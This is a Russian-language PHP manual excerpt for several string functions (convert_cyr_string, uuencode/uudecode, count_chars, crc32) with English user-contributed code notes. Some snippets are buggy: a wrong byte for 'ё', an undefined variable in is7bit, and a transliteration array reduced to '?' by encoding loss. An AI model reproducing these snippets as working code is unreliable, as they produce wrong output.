will return FF:99:FF


Преобразовывает строку из одной кириллической кодировки в другую

  • « chunk_split
  • convert_uudecode »
  • PHP Manual
  • Функции для работы со строками
  • Преобразовывает строку из одной кириллической кодировки в другую

convert_cyr_string

(PHP 4, PHP 5, PHP 7)

convert_cyr_string — Преобразовывает строку из одной кириллической кодировки в другую

Внимание

Эта функция объявлена УСТАРЕВШЕЙ начиная с PHP 7.3.0 и была УДАЛЕНА в версии PHP 8.0.0. Использовать эту функцию крайне не рекомендуется.

Описание

convert_cyr_string(string $str, string $from, string $to): string

Преобразовывает строку из одной кириллической кодировки в другую.

Список параметров

str

Конвертируемая строка.

from

Исходная кириллическая кодировка, один символ.

to

Целевая кириллическая кодировка, один символ.

Поддерживаются следующие символы:

  • k - koi8-r
  • w - windows-1251
  • i - iso8859-5
  • a - x-cp866
  • d - x-cp866
  • m - x-mac-cyrillic

Возвращаемые значения

Возвращает преобразованную строку.

Примечания

Замечание: Эта функция безопасна для обработки данных в двоичной форме.

Смотрите также

  • mb_convert_encoding() - Преобразовывает строку из одной кодировки символов в другую
  • iconv() - Преобразовывает строку из одной кодировки символов в другую

User Contributed Notes

strrev(&#34;moc dot liamg at voglod dot yilisav&#34;); 20-Feb-2009 12:02
Unfortunately input data must be a string only. But it is may be changed! ;)

To convert multi-dimensional array I use this recursive function:

<?php
function convert_cyr_array($array,$from,$to){
    foreach($array as $key=>$value){
        if(is_array($value)) {
            $result[$key] = convert_cyr_array($value,$from,$to);
            continue;
        }
        $result[$key] = convert_cyr_string($value,$from,$to);
    }
    return $result;
}
?>

An example:

<?php
$array[0] = "сВМПЛП";
$array[1] = "зТХЫБ";
$array[2] = array("пЗХТЕГ","рПНЙДПТ");
$array[3] = array(
                     array("бРЕМШУЙО","нБОДБТЙО"),
                     array("бВТЙЛПУ","рЕТУЙЛ")
                );

$result = convert_cyr_array($array,"k","w");
/* Returns:

Array
(
  [0] => Яблоко
  [1] => Груша
  [2] => Array
    (
      [0] => Огурец
      [1] => Помидор
    )
  [3] => Array
    (
      [0] => Array
        (
          [0] => Апельсин
          [1] => Мандарин
        )
      [1] => Array
        (
          [0] => Абрикос
          [1] => Персик
        )
    )
)*/
?>
apoc at ukr dot net 17-Sep-2007 10:43
:) what about NUMBER!!!???

    function Utf8Win($str,$type="w")
    {
        static $conv='';
        if (!is_array($conv))
        {
            $conv = array();
            for($x=128;$x<=143;$x++)
            {
                $conv['u'][]=chr(209).chr($x);
                $conv['w'][]=chr($x+112);
            }
            for($x=144;$x<=191;$x++)
            {
                $conv['u'][]=chr(208).chr($x);
                $conv['w'][]=chr($x+48);
            }
            $conv['u'][]=chr(208).chr(129); // Ё
            $conv['w'][]=chr(168);
            $conv['u'][]=chr(209).chr(145); // ё
            $conv['w'][]=chr(184);
            $conv['u'][]=chr(208).chr(135); // Ї
            $conv['w'][]=chr(175);
            $conv['u'][]=chr(209).chr(151); // ї
            $conv['w'][]=chr(191);
            $conv['u'][]=chr(208).chr(134); // І
            $conv['w'][]=chr(178);
            $conv['u'][]=chr(209).chr(150); // і
            $conv['w'][]=chr(179);
            $conv['u'][]=chr(210).chr(144); // Ґ
            $conv['w'][]=chr(165);
            $conv['u'][]=chr(210).chr(145); // ґ
            $conv['w'][]=chr(180);
            $conv['u'][]=chr(208).chr(132); // Є
            $conv['w'][]=chr(170);
            $conv['u'][]=chr(209).chr(148); // є
            $conv['w'][]=chr(186);
            $conv['u'][]=chr(226).chr(132).chr(150); // №
            $conv['w'][]=chr(185);
        }
        if ($type == 'w') { return str_replace($conv['u'],$conv['w'],$str); }
        elseif ($type == 'u') { return str_replace($conv['w'], $conv['u'],$str); }
        else { return $str; }
    }
Vasyl Skotona 14-Sep-2007 09:28
A better function to convert cp1251 string to utf8.
Works with russian and ukrainian text.

function unicod($str) {
    $conv=array();
    for($x=128;$x<=143;$x++) $conv[$x+112]=chr(209).chr($x);
    for($x=144;$x<=191;$x++) $conv[$x+48]=chr(208).chr($x);
    $conv[184]=chr(209).chr(145); #ё
    $conv[168]=chr(208).chr(129); #Ё
    $conv[179]=chr(209).chr(150); #і
    $conv[178]=chr(208).chr(134); #І
    $conv[191]=chr(209).chr(151); #ї
    $conv[175]=chr(208).chr(135); #ї
    $conv[186]=chr(209).chr(148); #є
    $conv[170]=chr(208).chr(132); #Є
    $conv[180]=chr(210).chr(145); #ґ
    $conv[165]=chr(210).chr(144); #Ґ
    $conv[184]=chr(209).chr(145); #Ґ
    $ar=str_split($str);
    foreach($ar as $b) if(isset($conv[ord($b)])) $nstr.=$conv[ord($b)]; else $nstr.=$b;
    return $nstr;
}
Sote Korveziroski 24-May-2006 02:53
I have made mistake remove this test line:
         echo "<p>".ord($xchr)."</p>\n";
code should be like this:

// Modificated by tapin13
// Corrected by Timuretis
// Corrected by Sote for macedonian cyrillic
// Convert win-1251 to utf-8

function unicode_mk_cyr($str) {
     $encode = "";

     for ($ii=0;$ii<strlen($str);$ii++) {
         $xchr=substr($str,$ii,1);
         if (ord($xchr)>191) {
             $xchr=ord($xchr)+848;
             $xchr="&#" . $xchr . ";";
         }
         if(ord($xchr) == 129) {
               $xchr = "&#1027;";
         }
         if(ord($xchr) == 163) {
               $xchr = "&#1032;";
         }
         if(ord($xchr) == 138) {
               $xchr = "&#1033;";
         }
         if(ord($xchr) == 140) {
               $xchr = "&#1034;";
         }
         if(ord($xchr) == 143) {
               $xchr = "&#1039;";
         }
         if(ord($xchr) == 141) {
               $xchr = "&#1036;";
         }
         if(ord($xchr) == 189) {
               $xchr = "&#1029;";
         }

         if(ord($xchr) == 188) {
               $xchr = "&#1112;";
         }
         if(ord($xchr) == 131) {
               $xchr = "&#1107;";
         }
         if(ord($xchr) == 190) {
               $xchr = "&#1109;";
         }
         if(ord($xchr) == 154) {
               $xchr = "&#1113;";
         }
         if(ord($xchr) == 156) {
               $xchr = "&#1114;";
         }
         if(ord($xchr) == 159) {
               $xchr = "&#1119;";
         }
         if(ord($xchr) == 157) {
               $xchr = "&#1116;";
         }
         $encode=$encode . $xchr;
   }
     return $encode;
}
Sote Korveziroski 24-May-2006 10:24
Only this code works OK for me, for translating win-1251 to utf-8 for macedonian letters!

// Modificated by tapin13
// Corrected by Timuretis
// Corrected by Sote for macedonian cyrillic
// Convert win-1251 to utf-8

function unicode_mk_cyr($str) {
     $encode = "";

     for ($ii=0;$ii<strlen($str);$ii++) {
         $xchr=substr($str,$ii,1);
         echo "<p>".ord($xchr)."</p>\n";
         if (ord($xchr)>191) {
             $xchr=ord($xchr)+848;
             $xchr="&#" . $xchr . ";";
         }
         if(ord($xchr) == 129) {
               $xchr = "&#1027;";
         }
         if(ord($xchr) == 163) {
               $xchr = "&#1032;";
         }
         if(ord($xchr) == 138) {
               $xchr = "&#1033;";
         }
         if(ord($xchr) == 140) {
               $xchr = "&#1034;";
         }
         if(ord($xchr) == 143) {
               $xchr = "&#1039;";
         }
         if(ord($xchr) == 141) {
               $xchr = "&#1036;";
         }
         if(ord($xchr) == 189) {
               $xchr = "&#1029;";
         }

         if(ord($xchr) == 188) {
               $xchr = "&#1112;";
         }
         if(ord($xchr) == 131) {
               $xchr = "&#1107;";
         }
         if(ord($xchr) == 190) {
               $xchr = "&#1109;";
         }
         if(ord($xchr) == 154) {
               $xchr = "&#1113;";
         }
         if(ord($xchr) == 156) {
               $xchr = "&#1114;";
         }
         if(ord($xchr) == 159) {
               $xchr = "&#1119;";
         }
         if(ord($xchr) == 157) {
               $xchr = "&#1116;";
         }
         $encode=$encode . $xchr;
   }
     return $encode;
}
zehyaat] yandex dotru 23-Mar-2006 12:15
Sorry for my previous post. NOT array_reverce, array_flip is actual function. Correct function:

function Encode($str,$type=u)
{
    $conv=array();
    for($x=192;$x<=239;$x++)
        $conv[u][chr($x)]=chr(208).chr($x-48);
    for($x=240;$x<=255;$x++)
        $conv[u][chr($x)]=chr(209).chr($x-112);
    $conv[u][chr(168)]=chr(208).chr(129);
    $conv[u][chr(184)]=chr(209).chr(209);
    $conv[w]=array_flip($conv[u]);
    if($type=='w' || $type=='u')
        return strtr($str,$conv[$type]);
    else
        return $str;
}

Sorry for my English ;)
zehya [at] yandex dotru 23-Mar-2006 11:58
cathody at mail dot ru(27-Jul-2005 06:41)
You function doesn't work on my PC..
It's work:
function Encode2($str,$type)
{
    $conv=array();
    for($x=192;$x<=239;$x++)
        $conv[u][chr($x)]=chr(208).chr($x-48);
    for($x=240;$x<=255;$x++)
        $conv[u][chr($x)]=chr(209).chr($x-112);
    $conv[u][chr(168)]=chr(208).chr(129);
    $conv[u][chr(184)]=chr(209).chr(209);
    $conv[w]=array_reverse($conv[u]);
    if($type=='w' || $type=='u')
        return strtr($str,$conv[$type]);
    else
        return $str;
}
webmaster at chassidus dot ru 29-Aug-2005 10:51
//I've also built the same way for hebrew to utf converting

function heb2utf($s) {

    for($i=0, $m=strlen($s); $i<$m; $i++)    {
       $c=ord($s[$i]);
       if ($c<=127) {$t.=chr($c); continue; }
       if ($c>=224 )    {$t.=chr(215).chr($c-80); continue; }

   }
    return $t;
}

//Simple unicoder and decoder for hebrew and russian:

function unicode_hebrew($str) {
    for ($ii=0;$ii<strlen($str);$ii++) {
        $xchr=substr($str,$ii,1);
        if (ord($xchr)>223) {
            $xchr=ord($xchr)+1264;
            $xchr="&#" . $xchr . ";";
        }
        $encode=$encode . $xchr;

    }
    return $encode;

}

function unicode_russian($str) {
    for ($ii=0;$ii<strlen($str);$ii++) {
        $xchr=substr($str,$ii,1);
        if (ord($xchr)>191) {
            $xchr=ord($xchr)+848;
            $xchr="&#" . $xchr . ";";
        }
        $encode=$encode . $xchr;

    }
    return $encode;

}

function decode_unicoded_hebrew($str) {
    $decode="";

    $ar=split("&#",$str);

    foreach ($ar as $value ) {

        $in1=strpos($value,";"); //end of code

        if ($in1>0) {// unicode

            $code=substr($value,0,$in1);

            if ($code>=1456 and $code<=1514) { //hebrew
                   $code=$code-1264;
                $xchr=chr($code);
               } else { //other unicode
                $xchr="&#" . $code . ";";
             }
            $xchr=$xchr . substr($value,$in1+1);
        } else //not unicode
              $xchr = $value;

        $decode=$decode . $xchr;
    }
    return $decode;
}

function decode_unicoded_russian($str) {
    $decode="";

    $ar=split("&#",$str);

    foreach ($ar as $value ) {

        $in1=strpos($value,";"); //end of code

        if ($in1>0) {// unicode

            $code=substr($value,0,$in1);

            if ($code>=1040 and $code<=1103) {
                   $code=$code-848;
                $xchr=chr($code);
               } else {
                $xchr="&#" . $code . ";";
             }
            $xchr=$xchr . substr($value,$in1+1);
        } else
              $xchr = $value;

        $decode=$decode . $xchr;
    }
    return $decode;
}
cathody at mail dot ru 27-Jul-2005 06:41
Praising other people for their efforts to write a convenient UTF8 to Win-1251 functions may I mention that, since str_replace allows arrays as parameters, the function may be rewritten in a slightly efficient way (moreover, the array generated may be stored for performance improvement):

<?php

 function Encode ( $str, $type )
{
 // $type:
// 'w' - encodes from UTF to win
 // 'u' - encodes from win to UTF

    static $conv='';
    if (!is_array ( $conv ))
    {
        $conv=array ();
        for ( $x=128; $x <=143; $x++ )
        {
          $conv['utf'][]=chr(209).chr($x);
          $conv['win'][]=chr($x+112);
        }

        for ( $x=144; $x <=191; $x++ )
        {
               $conv['utf'][]=chr(208).chr($x);
               $conv['win'][]=chr($x+48);
        }

        $conv['utf'][]=chr(208).chr(129);
        $conv['win'][]=chr(168);
        $conv['utf'][]=chr(209).chr(145);
        $conv['win'][]=chr(184);
     }
     if ( $type=='w' )
          return str_replace ( $conv['utf'], $conv['win'], $str );
     elseif ( $type=='u' )
          return str_replace ( $conv['win'], $conv['utf'], $str );
     else
        return $str;
  }
?>
felix[at]tvpro.net.ru 13-Feb-2005 12:57
Check this code -- exelent to convert win-1251 to UTF-8
just one fix!!!
       if ($c==184) { $t.=chr(209).chr(145); continue; };

Anything more it is not necessary.
It is grateful to threed [at] koralsoft.com
28-Jul-2003 03:37
i tried all functions here to convert from cp1251 to unicode, but they don't work. i think that this work :

<?php
function win3utf($s)    {
   for($i=0, $m=strlen($s); $i<$m; $i++)    {
       $c=ord($s[$i]);
       if ($c<=127) {$t.=chr($c); continue; }
       if ($c>=192 && $c<=207)    {$t.=chr(208).chr($c-48); continue; }
       if ($c>=208 && $c<=239) {$t.=chr(208).chr($c-48); continue; }
       if ($c>=240 && $c<=255) {$t.=chr(209).chr($c-112); continue; }
       if ($c==184) { $t.=chr(209).chr(209); continue; };
   if ($c==168) { $t.=chr(208).chr(129);  continue; };
   }
   return $t;
}
?>
standov at cgu dot kiev dot ua 08-Dec-2004 01:05
He is improved function to decode win1251->UTF8
<?php
        function win2utf($s){
            $c209 = chr(209); $c208 = chr(208); $c129 = chr(129);
            for($i=0; $i<strlen($s); $i++)    {
                $c=ord($s[$i]);
                if ($c>=192 and $c<=239) $t.=$c208.chr($c-48);
                elseif ($c>239) $t.=$c209.chr($c-112);
                elseif ($c==184) $t.=$c209.$c209;
                elseif ($c==168)    $t.=$c208.$c129;
                else $t.=$s[$i];
            }
            return $t;
        }
?>
aeon 27-Dec-2003 08:20
threed's function works great, but the replacement for the letter small io (&#1105;) needs to be changed from
<?php
if ($c==184) { $t.=chr(209).chr(209); continue; };
?>

to
<?php
if ($c==184) { $t.=chr(209).chr(145); continue; };
?>

so, the final working result should look like this:
<?php
function win3utf($s) {
   for($i=0, $m=strlen($s); $i<$m; $i++)    {
       $c=ord($s[$i]);
       if ($c<=127) {$t.=chr($c); continue; }
       if ($c>=192 && $c<=207) {$t.=chr(208).chr($c-48); continue; }
       if ($c>=208 && $c<=239) {$t.=chr(208).chr($c-48); continue; }
       if ($c>=240 && $c<=255) {$t.=chr(209).chr($c-112); continue; }
       if ($c==184) { $t.=chr(209).chr(209); continue; };
       if ($c==168) { $t.=chr(208).chr(129); continue; };
   }
   return $t;
}
?>
threed [at] koralsoft.com 28-Jul-2003 04:37
i tried all functions here to convert from cp1251 to unicode, but they don't work. i think that this work :

<?php
function win3utf($s)    {
    for($i=0, $m=strlen($s); $i<$m; $i++)    {
        $c=ord($s[$i]);
        if ($c<=127) {$t.=chr($c); continue; }
        if ($c>=192 && $c<=207)    {$t.=chr(208).chr($c-48); continue; }
        if ($c>=208 && $c<=239) {$t.=chr(208).chr($c-48); continue; }
        if ($c>=240 && $c<=255) {$t.=chr(209).chr($c-112); continue; }
        if ($c==184) { $t.=chr(209).chr(209); continue; };
    if ($c==168) { $t.=chr(208).chr(129);  continue; };
    }
    return $t;
}
?>
german at artexpert dot ee 03-May-2003 05:13
previous bit of code (grmaxim's win_to_utf8 function) didn't work for me, so I wrote my own func to convert from win1251 to utf8:

<?php
function win2utf($s) {
    for($i=0,$m=strlen($s);$i<$m;$i++) {
        $c=ord($s[$i]);
        if ($c>127) // convert only special chars
            if     ($c==184)    $t.=chr(209).chr(209); // small io
            elseif ($c==168)    $t.=chr(208).chr(129); // capital io
            else              $t.=($c>239?chr(209):chr(208)).chr($c-48);
        else $t.=$s[$i];
    }
    return $t;
}
?>

Hope this helps
pavel_bashkatov at elkogroup dot com 17-Apr-2003 05:20
To: mihailsbo at lycos dot ru
Transliteration could be done easier:

<?
function transliterate($cyrstr)
    {
        $ru = array('A', 'a',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?');

        $en = array('A', 'a',
                    'B', 'b',
                    'V', 'v',
                    'G', 'g',
                    'D', 'd',
                    'E', 'e',
                    'E', 'e',
                    'Zh', 'zh',
                    'Z', 'z',
                    'I', 'i',
                    'J', 'j',
                    'K', 'k',
                    'L', 'l',
                    'M', 'm',
                    'N', 'n',
                    'O', 'o',
                    'P', 'p',
                    'R', 'r',
                    'S', 's',
                    'T', 't',
                    'U', 'u',
                    'F', 'f',
                    'H', 'h',
                    'C', 'c',
                    'Ch', 'ch',
                    'Sh', 'sh',
                    'Sch', 'sch',
                    '\'', '\'',
                    'Y', 'y',
                    '\'', '\'',
                    'E', 'e',
                    'Ju', 'ju',
                    'Ja', 'ja');

        return str_replace($ru, $en, $cyrstr);
    }
?>
mokvas at freemail dot org dot mk 30-Jul-2001 09:45
Not all of cyrilic characters are supported by this function. Cyrilic chars from Macedonian Alphabet like Sh, kj, dz' ,nj are not supported.


Декодирует строку из формата uuencode в обычный вид

  • « convert_cyr_string
  • convert_uuencode »
  • PHP Manual
  • Функции для работы со строками
  • Декодирует строку из формата uuencode в обычный вид

convert_uudecode

(PHP 5, PHP 7, PHP 8)

convert_uudecode — Декодирует строку из формата uuencode в обычный вид

Описание

convert_uudecode(string $string): string|false

convert_uudecode() декодирует строку из формата uuencode в обычный вид.

Замечание: convert_uudecode() не принимает ни начальной (begin), ни конечной (end) строки, которая является частью файлов (files) uuencoded.

Список параметров

string

Данные в формате uuencode.

Возвращаемые значения

Возвращает декодированные данные в виде строки или false, если возникла ошибка.

Примеры

Пример #1 Пример использования convert_uudecode()

<?php
echo convert_uudecode("+22!L;W9E(%!(4\"$`\n`");
?>

Результат выполнения приведённого примера:

I love PHP!

Смотрите также

  • convert_uuencode() - Кодирует строку в формат uuencode

User Contributed Notes

There are no user contributed notes for this page.


Кодирует строку в формат uuencode

  • « convert_uudecode
  • count_chars »
  • PHP Manual
  • Функции для работы со строками
  • Кодирует строку в формат uuencode

convert_uuencode

(PHP 5, PHP 7, PHP 8)

convert_uuencode — Кодирует строку в формат uuencode

Описание

convert_uuencode(string $string): string

convert_uuencode() кодирует строку с помощью алгоритма uuencode.

Кодирование uuencode переводит строки (включая бинарные символы) в последовательности печатных (7-битных) ASCII-символов, что позволяет безопасно обмениваться данными через сеть. Закодированные данные примерно на 35% больше оригинала.

Замечание: convert_uudecode() не принимает ни начальной (begin), ни конечной (end) строки, которая является частью файлов (files) uuencoded.

Список параметров

string

Кодируемые данные.

Возвращаемые значения

Возвращает закодированные данные в формате uuencode.

Список изменений

Версия | Описание
8.0.0 | До этой версии при попытке преобразовать пустую строку возвращалось false без особой причины.

Примеры

Пример #1 Пример использования convert_uuencode()

<?php
$some_string = "test\ntext text\r\n";

echo convert_uuencode($some_string);
?>

Результат выполнения приведённого примера:

0=&5S=`IT97AT('1E>'0-"@``
`

Смотрите также

  • convert_uudecode() - Декодирует строку из формата uuencode в обычный вид
  • base64_encode() - Кодирует данные в формат MIME base64

User Contributed Notes

zash at zash dot se 30-May-2008 12:30
note that using base64 or uuencode to store data in a database is pretty useless. if you properly escape your data and use a binary field (BLOB etc) there is no problem.
root at mantoru dot de 10-Nov-2007 09:29
@Craig's note: base64_encode() is better suited for that. In fact, it produces smaller output and operates slightly faster. I did a little benchmark -- here are my findings:

File: JPG, 631614 bytes

== Base64 ==
execution time: 0.0039639472961426 secs
output length: 842152

== UUencode ==
execution time: 0.004105806350708 secs
output length: 870226


Возвращает информацию о символах, входящих в строку

  • « convert_uuencode
  • crc32 »
  • PHP Manual
  • Функции для работы со строками
  • Возвращает информацию о символах, входящих в строку

count_chars

(PHP 4, PHP 5, PHP 7, PHP 8)

count_chars — Возвращает информацию о символах, входящих в строку

Описание

count_chars(string $string, int $mode = 0): array|string

Подсчитывает количество вхождений каждого из символов с ASCII-кодами в диапазоне (0..255) в строке string и возвращает эту информацию в различных форматах.

Список параметров

string

Исследуемая строка.

mode

Смотрите возвращаемые значения.

Возвращаемые значения

В зависимости от параметра mode, count_chars() возвращает одно из следующих значений:

  • 0 - массив, индексами которого являются ASCII-коды, а значениями - число вхождений соответствующего символа.
  • 1 - то же, что и для 0, но информация о символах с нулевым числом вхождений не включается в массив.
  • 2 - то же, что и для 0, но в массив включается информация только о символах с нулевым числом вхождений.
  • 3 - строка, содержащая все уникальные символы в исследуемой строке.
  • 4 - строка, состоящая из символов, которые не входят в исходную строку.

Список изменений

Версия | Описание
8.0.0 | До этой версии функция возвращала false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования count_chars()

<?php
$data = "Two Ts and one F.";

foreach (count_chars($data, 1) as $i => $val) {
echo "\"" , chr($i) , "\" встречается в строке $val раз(а).\n";
}
?>

Результат выполнения приведённого примера:

" " встречается в строке 4 раз(а).
"." встречается в строке 1 раз(а).
"F" встречается в строке 1 раз(а).
"T" встречается в строке 2 раз(а).
"a" встречается в строке 1 раз(а).
"d" встречается в строке 1 раз(а).
"e" встречается в строке 1 раз(а).
"n" встречается в строке 2 раз(а).
"o" встречается в строке 2 раз(а).
"s" встречается в строке 1 раз(а).
"w" встречается в строке 1 раз(а).

Смотрите также

  • strpos() - Возвращает позицию первого вхождения подстроки
  • substr_count() - Возвращает число вхождений подстроки

User Contributed Notes

Andrey G 22-Feb-2020 06:44
Checking that two strings are anagram:

<?php

function isAnagram($string1, $string2)
{
  return count_chars($string1, 1) === count_chars($string2, 1);
}

isAnagram('act', 'cat'); // true

?>
Anonymous 26-Jan-2016 05:29
count_chars for multibyte supported.

<?php

function mb_count_chars ($string, $mode = 0) {

    $result =  array_fill(0, 256, 0);

    for ($i = 0, $size = mb_strlen($string); $i < $size; $i++) {
        $char = mb_substr($string, $i, 1);
        if (strlen($char) > 1) {
            continue;
        }

        $code = ord($char);
        if ($code >= 0 && $code <= 255) {
            $result[$code]++;
        }
    }

    switch ($mode) {
        case 1: // same as 0 but only byte-values with a frequency greater than zero are listed.
            foreach ($result as $key => $value) {
                if ($value == 0) {
                    unset($result[$key]);
                }
            }
            break;
        case 2: // same as 0 but only byte-values with a frequency equal to zero are listed.
            foreach ($result as $key => $value) {
                if ($value > 0) {
                    unset($result[$key]);
                }
            }
            break;
        case 3: // a string containing all unique characters is returned.
            $buildString = '';
            foreach ($result as $key => $value) {
                if ($value > 0) {
                    $buildString .= chr($key);
                }
            }
            return $buildString;
        case 4: // a string containing all not used characters is returned.
            $buildString = '';
            foreach ($result as $key => $value) {
                if ($value == 0) {
                    $buildString .= chr($key);
                }
            }
            return $buildString;
    }

    // change key names...
    foreach ($result as $key => $value) {
        $result[chr($key)] = $value;
        unset($result[$key]);
    }

    return $result;

}
?>
qeremy [atta] gmail [dotta] com 19-Jan-2013 06:06
Another approach to counting unicode chars.

<?php
function count_chars_unicode($str, $x = false) {
    $tmp = preg_split('//u', $str, -1, PREG_SPLIT_NO_EMPTY);
    foreach ($tmp as $c) {
        $chr[$c] = isset($chr[$c]) ? $chr[$c] + 1 : 1;
    }
    return is_bool($x)
        ? ($x ? $chr : count($chr))
        : $chr[$x];
}

$str = "seker seker yariiiiiiiiiimmmmm";
print_r(count_chars_unicode($str, 'a'));    // frequency of "a"
print_r(count_chars_unicode($str));         // count of uniq chars
print_r(count_chars_unicode($str, true));   // all chars with own frequency
?>

Outputs;
1
9
Array
(
    [s] => 2
    [e] => 4
    [k] => 2
    [r] => 3
    [ ] => 2
    [y] => 1
    [a] => 1
    [i] => 10
    [m] => 5
)
marcus33cz 01-Feb-2012 11:43
If you have problems using count_chars with a multibyte string, you can change the page encoding. Alternatively, you can also use this mb_count_chars version of the function. Basically it is mode "1" of the original function.

<?php
/**
 * Counts character occurences in a multibyte string
 * @param string $input UTF-8 data
 * @return array associative array of characters.
 */
function mb_count_chars($input) {
    $l = mb_strlen($input, 'UTF-8');
    $unique = array();
    for($i = 0; $i < $l; $i++) {
        $char = mb_substr($input, $i, 1, 'UTF-8');
        if(!array_key_exists($char, $unique))
            $unique[$char] = 0;
        $unique[$char]++;
    }
    return $unique;
}

$input = "Let's try some Greek letters: ?????????????, Russian: ЙЙЫЫЩН, Czech: escrzyaie";
print_r( mb_count_chars($input) );
//returns: Array ( [L] => 1 [e] => 7 [t] => 4 ['] => 1 [s] => 5 [ ] => 9 [r] => 3 [y] => 1 [o] => 1 [m] => 1 [G] => 1 [k] => 1 [l] => 1 [:] => 3 [?] => 5 [?] => 1 [?] => 1 [?] => 1 [?] => 1 [?] => 1 [?] => 1 [?] => 1 [?] => 1 [,] => 2 [R] => 1 [u] => 1 [i] => 1 [a] => 1 [n] => 1 [Й] => 2 [Ы] => 2 [Щ] => 1 [Н] => 1 [C] => 1 [z] => 1 [c] => 1 [h] => 1 [e] => 1 [s] => 1 [c] => 1 [r] => 1 [z] => 1 [y] => 1 [a] => 1 [i] => 1 [e] => 1 )
?>
phpC2007 04-Dec-2007 07:42
Here's a function to count number of strings in a string. It can be used as a simple utf8-enabled count_chars (but limited to a single mode)...

<?php
function utf8_count_strings($stringChar)
{
    $num = -1;
    $lenStringChar = strlen($stringChar);

    for ($lastPosition = 0;
        $lastPosition !== false;
        $lastPosition = strpos($textSnippet, $stringChar, $lastPosition + $lenStringChar))
    {
        $num++;
    }

    return $num;
}
?>
pzb at novell dot com 28-Jul-2007 06:29
This function is great for input validation.  I frequently need to check that all characters in a string are 7-bit ASCII (and not null).  This is the fastest function I have found yet:

<?php
function is7bit($string) {
    // empty strings are 7-bit clean
    if (!strlen($string)) {
        return true;
    }
    // count_chars returns the characters in ascending octet order
    $str = count_chars($str, 3);
    // Check for null character
    if (!ord($str[0])) {
        return false;
    }
    // Check for 8-bit character
    if (ord($str[strlen($str)-1]) & 128) {
        return false;
    }
    return true;
}
?>
apinpratap at gmail dot com 29-Mar-2007 10:54
this code can find each characters count

<?php
$enter = 0;
$data = strtolower ($inputString);
foreach (count_chars ($data, 1) as $i => $val)
    {
        if ($enter == 1)
        {
            $enter = 0;
            continue;
        }
        if (chr ($i) == "\n")
        {
            echo "There are $val instance(s) of \" Enter \" in the string.\n";
            $enter = 1;
        }
        else
        {
            echo "There are $val instance(s) of \"" , chr ($i) , "\" in the string.\n";
        }
    }
?>
Eric Pecoraro 27-May-2005 07:31
<?php

// Require (n) unique characters in a string
// Modification of a function below which ads some flexibility in how many unique characters are required in a given string.

$pass = '123456' ; // true
$pass = '111222' ; // false

req_unique($pass,3);

function req_unique($string,$unique=3) {
    if ( count(count_chars($string,1)) < $unique) {
        echo 'false';
    }else{
        echo 'true';
    }
}

?>
seb at synchrocide dot net 16-May-2004 03:08
After much trial and error trying to create a function that finds the number of unique characters in a string I same across count_chars() - my 20+ lines of useless code were wiped for this:

<?
function unichar($string) {
$two= strtolower(str_replace(' ', '', $string));
$res = count(count_chars($two, 1));
return $res;
}

/* examples :: */

echo unichar("bob"); // 2
echo unichar("Invisibility"); //8
echo unichar("The quick brown fox slyly jumped over the lazy dog"); //26

?>

I have no idea where this could be used, but it's quite fun
mlong at mlong dot org 29-Jan-2002 04:27
// Usefulness of the two functions

<?php
 $string="aaabbc";

 // You just want to count the letter a
 $acount=substr_count($string,"a");

 // You want to count both letter a and letter b
 $counts=count_chars($string,0);
 $acount=$counts[ord("a")];
 $bcount=$counts[ord("b")];
?>
maotin at hongkong dot com 31-Jan-2001 05:04
Here are some more experiments on this relatively new and extremely handy function.

<?php
$string = 'I have never seen ANYTHING like that before! My number is "4670-9394".';

foreach(count_chars($string, 1) as $chr => $hit)
echo 'The character '.chr(34).chr($chr).chr(34).' has appeared in this string '.$hit.' times.<BR>';

#The result looks like
#The character " " has appeared in this string 11 times.

echo count_chars($string,3);
#The output is '!"-.034679AGHIMNTYabefhiklmnorstuvy'

echo strlen($string).' is not the same as '.strlen(count_chars($string, 3));

#This shows that '70 is not the same as 36'
?>

As we can see above:

1)If you cares only about what is in the string, use count_chars($string, 1) and it will return an (associative?) array of what shows up only.

2) Either I misunderstood what the manul actually said, or it does not work the way it described: count_chars($strting, 3) actually returned a string of what characters are in the string, not a string of their byte-values (which is great because a string of numbers would be much harder to handle);

3)This is a short version of password checking: get the original string's length, then compare with the length of the string returned by count_chars($string,3).

<?php
$length_of_string = strlen($string);
$num_of_chars = strlen(count_chars($string, 3));

$diff = ($length_of_string - $num_of_chars);

if ($diff)
echo 'At least one character has been used more than once.';
else
echo 'All character have been used only once.';
?>

Note that since $num_of_chars gives no information about the actual number of occurance, we cannot go any further by the same rationale and say when $diff =2 then 2 characters showed up twice; it might be 1 character showd up 3 times, we have no way to tell (a good tolerance level setter, though).  You have to get the array and check the values if you want to have more control.

4) Final trick: now we have a primitive way to count the number of words in a string! (or do we have a fuction for that already?)


Вычисляет полином CRC32 для строки

  • « count_chars
  • crypt »
  • PHP Manual
  • Функции для работы со строками
  • Вычисляет полином CRC32 для строки

crc32

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

crc32 — Вычисляет полином CRC32 для строки

Описание

crc32(string $string): int

Функция вычисляет циклический избыточный код 32-битных полиномов (CRC32) для строки string. Это обычно используется для контроля целостности передаваемых данных.

Внимание

В PHP целые числа имеют знак, поэтому многие контрольные суммы могут оказаться отрицательными на 32-битных платформах. На 64-битных платформах все результаты crc32() будут положительными целыми.

Поэтому вам нужно использовать формат "%u" в функциях sprintf() или printf() для получения строкового представления суммы crc32() без знака.

Для шестнадцатеричного представления суммы вы можете использовать или формат "%x" в функциях sprintf() и printf(), или же функцию конвертации dechex(). Оба этих способа также позаботятся о конвертации результата crc32() в беззнаковое целое.

При использовании 64-битных платформ также рассматривалась возможность возвращать отрицательные целые для больших значений, но это ломало шестнадцатеричное представление, добавляя дополнительные 0xFFFFFFFF######## смещения для них. Так как шестнадцатеричное представление является самым востребованным, было решено не ломать его, даже если это ломает прямое сравнение десятичных значений в 50% случаев при переходе с 32-битных на 64-битные платформы.

Оглядываясь назад, возможно возвращать целое число было не самой лучшей идеей и лучше было возвращать сразу шестнадцатеричное представление (как например делает md5()).

